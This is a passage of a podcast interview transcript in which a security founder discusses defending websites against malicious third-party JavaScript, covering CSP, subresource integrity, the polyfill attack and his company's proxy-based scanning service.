Simon Wijckmans 00:42:41 And that I think is a good indicator of why content security policies haven’t really reached widescale adoption because as soon as you’re like using it and you’re actually defining things to the level of strictness that it should be, then as soon as you do that then it’s just a matter of time before certain third-party tools are going to break. And the reality is that the people that implement these third-party scripts, they’re often not actually the ones that chose them or use them, it’s often another department within the companies, somebody in marketing that asked about an analytics script or somebody in support that said we use this tool now. Or somebody in legal saying we now need to add a cookie ban. Or there are so many of these scripts the engineers are not the ones that use them or chose them, and they are somehow the people that like have to go to their laptop if they start doing weird stuff for their CSP policy breaks and there’s this makes for bad user experiences. So there have been kind of suboptimal attempts at closing this risk down. But the reality is that the risk itself is also something that a lot of good tools kind of like thrive on, that dynamic-ness allows you to quickly ship improvements to your tool, add new features to your tools and that dynamic-ness and allows you to do great things. But as I mentioned, that is also kind of the dark problem about this. And so CSP doesn’t really address that issue.
Kanchan Shringi 00:43:57 So CSP is more like better broken than insecure in a sense.
Simon Wijckmans 00:44:02 I think the risk is mostly that you’re just going to eventually have an issue. And eventually you’re going to have a script breaking and also your local development experience may be worse, right? Because you’re using an actual like production, you may be preferring to certain third-party scripts locally when you’re doing your local testing you might be using some extension that also loads a script. Your behaviors are going to be different. And by the way, if you start looking at content security policies on big websites, you will see funny things people referring to Google Tag Manager.com with a wild card which is essentially bypassing the whole point of CSP because anybody can host something on Google Tag Manager. So it doesn’t quite solve anything really. I mean the reason why people add those wild cards is because there’s also limits to the length of the header. So if you have 50 scripts on your website, you probably can’t reference all of them in their full URL format. So you start adding wildcards to it and as you add a wild card you open up to bigger problems. So content security policies are a bit of a headache and luckily there are tools that make it easier to manage them, but they’re not going to solve really most of these attacks, and they are just a bit of a cumbersome thing to use. So there must be something better is what we thought and then we went ahead and tried and build it.
Kanchan Shringi 00:45:11 What about sandboxing and you know, the third-party scripts, would that help with some of the examples, an example you had earlier where you know unless you refresh the page, where you enter payment method, you still have third-party scripts? I have no business being on that page.
Simon Wijckmans 00:45:28 The thing is that the requests make for different responses and as a result the answer to this is it depends. So if I make a request from my laptop using a certain user agent on a certain website a certain time of the day using my IP address, that’s going to give a certain result and that result could be the same if I’m going to that from a sandbox environment hosted on AWS. But that could also be different, right? And so what we’ve seen is that scripts behave differently as soon as you’re a security company and you’re using an easily differentiate, well like way of doing a request. So I’ll give you an example. If you’re using a tool that crawls a bunch of websites from an AWS IP address or from an actual residential IP address, you’ll see different behaviors. It’s the same with these third-party scripts.
Simon Wijckmans 00:46:15 So if a bad actor were to see a request being made from AWS or GCP or any large cloud provider that security vendors use, then it is incredibly unlikely that they would give you a bad version of the script. Usually these attackers, they have a clean script, and they have a sort of quote unquote dirty script, the one that has the bad code in it and the bad code is reserved for people that they know are going to be actual humans using heuristics that are actual like normal humans. And as soon as they see an automated request or a request coming from a cloud provider, they would either just 404 not serve anything or they would simply, yeah, give the clean version of the script. So that is an approach that I’ve seen honestly give more false security than real security. There are examples of attacks that are incredibly dumb that you can just detect that way, but reality is that a bad actor that is really targeted, they would be able to deal with that very easily. So sandbox for third-party scripts I don’t think is necessarily the right way.
Kanchan Shringi 00:47:17 And sorry, maybe I didn’t quite pose my question properly or didn’t fully understand your response. What I was trying to understand was, is there a way on my webpage as a, you know, family website or could I limit the acts as the third-party scripts have by putting them in an iframe or something?
Simon Wijckmans 00:47:34 Yes, definitely. So you can use iframe. The behavior of that is rather well defined in water consistency across the browsers. So you can define more specifically like what type of things that it’s able to do and try and limit access. That is definitely something you can try to do. However, some of these scripts don’t like that, right? So I’ll give you an example. For instance, a Stripe third-party script that you use on your website when you add stripe, it has to be deployed globally on your website. If you don’t, then they will shout at you. If you try to proxy that script, by the way, they will also shout at you. If you try to self-host it, they will shout at you. So there are things you can try and do if you’re very creative. I personally have not seen that being implemented on almost any webpage.
Simon Wijckmans 00:48:19 Even very like well-known good security people, they get caught like by these third-party scripts, they don’t do these more exotic security tricks. So the answer to it is probably you could, but it at that point becomes a harder thing to manage over time. I’ll give you another example. There was a script that we were able to proxy for some time and all of a sudden it changed and it started causing some issues, right? We have built a whole pipeline to then stop proxying and do something different with it and still keep an eye on it. But the reality is that that happens because these are dynamic and so it could work today, could stop working tomorrow and you now have another thing on your website. You have to keep an eye on.
Kanchan Shringi 00:48:59 Well, do modern web frameworks help with any of this, you know, maybe react, angular. Is there any help they provide developers in securing third-party scripts?
Simon Wijckmans 00:49:11 Not really on the framework level, I would say. So progressive web apps I think are a good example of how this problem became more hidden and it’s still very relevant. And then single page web app frameworks, they actually do cause this issue to be more severe because when you navigate from page to page, because it is a single page web, it isn’t actually fully re-render a page and those third-party scripts remain on that page. So you can navigate on an e-commerce website from the homepage and select an item and add it to the cart and make it to the payment portal. And your browser never actually did a full refresh and therefore all of these third-party scripts are still there. It would be awesome if in frameworks they were more conscious of sensitive data fields and as soon as there are certain scripts present or certain actions present within a page, that it would trigger a hard refresh for you. But today we rely on the engineers to manually make that happen. So when people navigate to the slash payment page that it does actually do a full re-render of the page instead of that like service sorry, decline side, re-render of a page, it should be a full refresh.
Kanchan Shringi 00:50:18 So you know, it sounds like it’s only hard to do, but there are a series of best practices that developers should follow regardless, right? At least take care of the things you know about. In the category of monitoring and keeping up with changes, what are some of these best practices?
Simon Wijckmans 00:50:35 For monitoring the scripts, the thing that I like, like did in the best was the most commonly used scripts. I would have a little lambda function for them to call them and I’ll create a hash and as soon as the hash would change, I would have a quick look at it. Usually these scripts are obfuscated or minified(?), so they’re harder to read but you can de-minify or de-obfuscate them — and that’s a legitimate reason to deobfuscate, for security analysis. Every now and then you can have a read through them.
Kanchan Shringi 00:51:01 In the previous elaboration you just talked about adding a lambda function for hash to the JavaScript so that you know when it changes. I’ve also heard of something similar that browsers support but not necessarily in the same way, sub-resource integrity? Can you explain what that is?
Simon Wijckmans 00:51:19 Sure. So I refer to it a few times in other sections of this podcast, but if you add a script to your website or a link or any type of third-party resource, it’s actually a directive that is widely supported for various tags. You can add a hash of that third-party object resource to the fetch object that you use. And so that allows you to basically save anything doesn’t match this hash, don’t render it, don’t run it, don’t execute it. And that’s incredibly helpful for dealing with static resources. So if something is hosted on a CDN and it shouldn’t change, then you definitely should add that like hash to that script source. However, we notice that it isn’t as widely adopted by people and there’s a few reasons why. So first things first is sometimes hashes are used that create a false sense of security and are actually by passable.
Simon Wijckmans 00:52:07 For instance, an md5 hash, you can generate bad codes into good code and then obfuscate in a certain way, so it matches the same hash that is possible. But then mostly, and this is the most common problem we see is, if you actually use a script that does change over time and you add a hash to that script, well then of course what’s going to happen is as soon as it changes, it will get blocked, it wouldn’t render. And that incident in general happens a lot for people and as a result they don’t uses resource integrity as much, which is sad because it is a useful thing. So in general, we do tend to recommend people when they use an actual static thing that hasn’t changed in a certain amount of time just to get it. And then also you can self-host it and add that sub-source integrity header to the object.
Kanchan Shringi 00:52:52 You mentioned CDNs. Do CDNs have to do something special to support this? Like my first thought was if the script does change, shouldn’t it become a different resource?
Simon Wijckmans 00:53:02 Yeah, and then the hash would not match at that point. So I mean a CDN really shouldn’t allow this thing to be dynamic. So I’ll give you an example. For instance, if you use CDNJS, which is hosted on the CloudFlare network, you actually get the hashes in the webpage, right? So you should be able to use that. Well of course in a CDN provider should make sure that those objects never change. There was actually an incident a few years ago where the CDNJS released pipeline had a breach in it and luckily nobody found out except for a white hat hacker that then flagged it through a bug bounty program. But that could have added some real issues, right? Because that provider, if people didn’t implement that hash on the script source, they like yeah that could have added to a massive, supply chain tech.
Simon Wijckmans 00:53:46 So in general, CDN providers should just make sure that whatever they host is well protected, is static and probably have some controls in place themself to make sure that that remains the way. I think it becomes a more serious issue if these scripts start calling new third-party dependencies. I tend to have a manual look at those anyway. So those are things you can do. I think the risk of a script doing something bad without a new third-party domain added to the script, it’s smaller. I mean it isn’t always easy to detect because sometimes they’re like basic 64 encoded, but as soon as I see that there’s like a third-party script added to a script or a new third-party endpoint to send data to or new post requests being sent to new domains, that’s when I tend to have a look at scripts ourselves manually. That’s what I did in the past. Our tool now does that for us. We use AI to parse through these types of changes through the entire code. Then as a result we’re basically able to automate some of these detections. Some of these, I would say the majority of these detections we actually have automated now. So C/side as a product is kind of the manual review process that I used to do as a PM building similar products.
Kanchan Shringi 00:54:52 Let’s talk about that a little bit more. You mentioned using AI. Can you elaborate? Like how do you do that? How do you train, how does that actually work?
Simon Wijckmans 00:55:01 So it’s pretty cool how there’s a lot of cybersecurity companies out there now that are basically taking the securities analyst tasks and automate them and use AI to deal with the obscurity of that job. And we have basically built that in for our use case. So because we have full access to the actual payload of a script, we need to review that. We of course have a range of static detections on top of that. We look at things in changes over time. But then we also use readily available LMS that we have either made small like, changes to or we are using the stock version to analyze these scripts again using specific prompts. And the results of that are surprisingly good. Humans of course read JavaScript, but as soon as it becomes a very large file, our success rate starts to drop. And that is also something that like we got to recognize that we are not that great at that. Sometimes we get more consistent results today using some of these modern LLMs and they improve pretty much every week. Every time there’s a new one, we try it out. Those are able to explain to us what these scripts do, how they have changed compared to a previous version of it. I don’t want to go too deep into our detection capabilities, but the LLMs are pretty decent at going through third-party JavaScripts, especially if we give them the un-obfuscated versions of it, the de-minified versions of it and then figuring out whether something looks a little weird or whether it requires further review and then we go from there.
Kanchan Shringi 00:56:27 So could someone sign up to C/side to just try this review capability?
Simon Wijckmans 00:56:32 Yeah, so currently the free tier is not going into a lot of detail on how we detected that something is potentially malicious. We tend to just take action on your behalf. The great thing is that these third-party scripts, when they go bad, we obviously also want to make sure that more people are protected against them. So for large attacks like the polyfill one, we do blog posts. We want to make clear how these things have happened, and we will probably talk about them in places like this. So that’s currently the best thing we can do for our free tier users. As of course when we open up too much, the risks are that people will reverse engineer detection capabilities and try to bypass them that way. So the free tier is, I would say a good way of not having to worry too much about it, but it’s not giving you a lot of detail, which will probably mean at some point you want more detail.
Simon Wijckmans 00:57:19 And that’s where the business and enterprise versions give you a lot more context. And also more ability to define lists, block things, allow certain behaviors, allow certain data extractions, define that list of scripts you want to allow on the payment portal to comply with PCI DSS. Those types of things are then part of the other tiers. I find it incredibly important that today we move security from an enterprise only business to a more accessible business. Because web security shouldn’t be enterprise only and that’s why we have that free tier. That’s why we have that rather affordable business tier. It’s currently priced at about a hundred dollars a month that is there so that people with a neat podcast website or a good personal blog or a side project, e-commerce store where they sell socks with a picture of your dog on them that they can at least be sure that they have their security covered. And that is something that we try to do well regardless, I personally think that that’s sort of the most rewarding thing about what we’re doing. The fact that we’re taking web security and we’re making it more accessible to people because in all like we’re really realistic about it. If you have a couple of hundred dollars to spend on web security, there aren’t that many vendors that you can go to. We want to make that easier.
Kanchan Shringi 00:58:33 Even talking about a proxy, why a proxy? And you know, my first concern would be as a user, doesn’t it cause latency?
Simon Wijckmans 00:58:41 I love that question. That was a very obvious objection that we had to deal with from like the early stages of design even. So we decided on the proxy approach because it gives us the most certainty that the data, we are seeing is the one that the user is actually getting as soon as a subsequent request has to happen from different infrastructure, we do not know whether that is really what the user got. Of course you can use hashes and all of that stuff, but as soon as it doesn’t match, it’s harder to find the match. So the proxy approach was the more labor some hard thing to build, but the right thing to build. And the way that we countered the performance implications, because you are right inherently if you add a thing to the flow of a request, it’s likely going to add a delay.
Simon Wijckmans 00:59:23 But we counter that by doing some clever engineering. So when scripts are allowing to be cached, their cache control header defines it’s allowed to be cached. And of course we cache them, and those scripts are being cached directly in memory. On some of our edge locations, CDNs have to support large file sizes and as a result they have a more complex data storage architecture and as a result it can be a little bit slower. We don’t have that because scripts are usually not that large. And then on top of that, our CDN that we provide for third-party scripts only do third-party scripts. That means we don’t have to have 50 different mechanisms living in front of them doing all types of other things. And as a result, and a real-world example that I like to refer to is when you use a certain script, I’m not going to call out which one from my flat in London, it would take 78 milliseconds to fetch that from its actual source.
Simon Wijckmans 01:00:13 If you fetch it through C/side, it only takes 48 milliseconds. The great thing here is there’s a few things that also matter. The fact is that a lot of these third-party scripts are being fetched asynchronously. So the latency wouldn’t even matter. Nobody would see it, nobody would notice it. And then the other aspect here is that as a proxy, if all these third-party scripts come through us, we can actually handle on a networking level these requests more efficiently making these proxies even able to basically offset their entire latency just by doing that. So taking these requests and basically bundling them and all those things combined lead to static scripts being served 30 to 40% faster. Fully dynamic scripts being served about 10, 20 milliseconds slower. But if you have 50 scripts on your website and we can make 30 of them faster, those 20 other ones are not going to matter.
Simon Wijckmans 01:01:01 They’re going to be offset. And especially if those are asynchronously fetched. So the latency element, we’re able to basically counter as efficiently as we probably can’t today with technology that’s available. And technology like HTP3 is actually making it more efficient to do these things as well. So that’s another thing. All of these third-party scripts come from different servers. They don’t necessarily support things like HTP3, HTP2 et cetera. We can actually do that for them through that proxy that we have and that also makes for better performance. So yeah, that in more depth basically explains that performance aspect. And I know it’s a highly sensitive part so that’s why we talk about it, but it’s not really the core reason why we do what we do.
Kanchan Shringi 01:01:41 Did I understand correctly that there’s two ways, one is the proxy, and the other one is perhaps, you know, I can use your review capabilities maybe multiple times a day just to keep checking my scripts. Is that fair or is there only one path?
Simon Wijckmans 01:01:56 So we are really only available as a proxy. And that is because that’s the best way to deal with this issue. To give you that example of that polyfill attack, if you were to crawl that script from a certain endpoint, you would’ve not been able to spot the attack because the attack only injected the malicious script if the user agent was a certain mobile device browser in a certain geography. So the only real way that we’re able to give you any level of certainty is by actually being part of the flow of the request. Hence that proxy service. And I find it important that we don’t give people a false sense of security. The proxying is the best thing to do. The every now and then screening approach is a bit of a hack and doesn’t necessarily give you any level of certainty. And as a security company, people come to us to get the highest level of certainty that we can provide. So the crawler-based approach, we are not that enthusiastically like positioning at all. But of course we do some of that just to train our own detection capabilities in the come ahead of like new attacks that we haven’t seen on our own customer’s websites yet. We don’t tend to productize that. I don’t think that’s whatever you want to do because as I said, it can easily create a false sense of security and that doesn’t tend to help any situation.
Kanchan Shringi 01:03:07 So how do you secure your scripts?
Simon Wijckmans 01:03:09 That’s a good question. Well we have third-party scripts on our own website and of course we dog food our own product. So we see a lot of these things behave differently over time, not necessarily maliciously. And so that’s currently one of the ways that we tend to improve our detection abilities is we have a whole bunch of websites with a whole lot of scripts on them. We tend to look for scripts on the web, on other websites. We didn’t have a look at how they work. But for our own website we are using our own product funny enough in the free tier currently, because that’s what works best. We’ve got the stability and that business, an enterprise version we’re still working on. So I’d say over time we’ll probably put ourselves as an enterprise customer. But currently we are just still a free tier customer using our own product.
Kanchan Shringi 01:03:53 I guess my question wasn’t necessarily limited to third-party scripts, but in general. Like how do I trust that your script is actually going to do what it’s supposed to do?
Simon Wijckmans 01:04:01 Of course. Well, so our script of course is we are a security company. We make sure that we take all the steps that we can take so our infrastructure is secure, itís audited. We’re going to SOC to audit right now, make sure that none of the code gets written can actually make it into that main branch without a secondary review. Our infrastructure is fully protected using commonly used things on AWS. Our proxy is secure, so like we’ve basically gone through the first extent possible to make sure that our own script and our own proxy is safe. And we’ve even got fallback mechanisms built into that damper proofing, damper detections, et cetera. So we’ve gone quite far even to the level where the domain name that we use, well that is still C/side or dev is a domain name that we’ve done everything we could to make sure will remain ours for as long as you possibly can.
Simon Wijckmans 01:04:52 Funny enough, there are companies out there that allow you to basically have actual human verification. You have to walk into an office and show your passport to make a name server changed. We haven’t quite like reached that level, but at some point, we will. So we’ve gone through the furthest extent possible to secure our own script, our own proxy. And that I think is something that, I mean we as a security company can give you a better sense of security than other third-party scripts that aren’t security products. Of course our own dependency management, we use a whole range of products for, I mentioned Socket in this call, of course I love their product, I use their product. There are other tools out there that we also use, I think as most security companies and most well in general companies do, we don’t tend to talk too much about all the security products we have internally because that would allow people to try and bypass some of them. But yeah, we’re layered and of the amount of money we have raised, a good amount of that money is being spent on making sure that we are safe, and everybody’s properly trained, that we know how to look for and in case something bad happens that we are the first ones to know and that our customers are not impacted using multiple environments, et cetera.
Kanchan Shringi 01:05:58 Thank you, Simon. Any topic you think we did not cover that you’d like to talk about?
Simon Wijckmans 01:06:03 I feel like we’ve done a rather comprehensive review of all of the issues with it, the potential risks there. I think that was pretty comprehensive. Yeah, I think that was it really from my side.
Kanchan Shringi 01:06:16 Simon, how can people contact you?
Simon Wijckmans 01:06:18 So the best way for people get in contact with me is by going to our website, C/side.dev and go to the contact section there. Because that will just end up in my mailbox. You can try and send me a message over LinkedIn or Twitter, but I’m pretty bad at responding at those sometimes. So probably the best bet to just go to our contact page.
Kanchan Shringi 01:06:35 Thank you so much. I hope our listeners learn from this and start to recognize that this is a real problem, that they should keep an eye out.
Simon Wijckmans 01:06:43 Thank you very much.
[End of Audio]
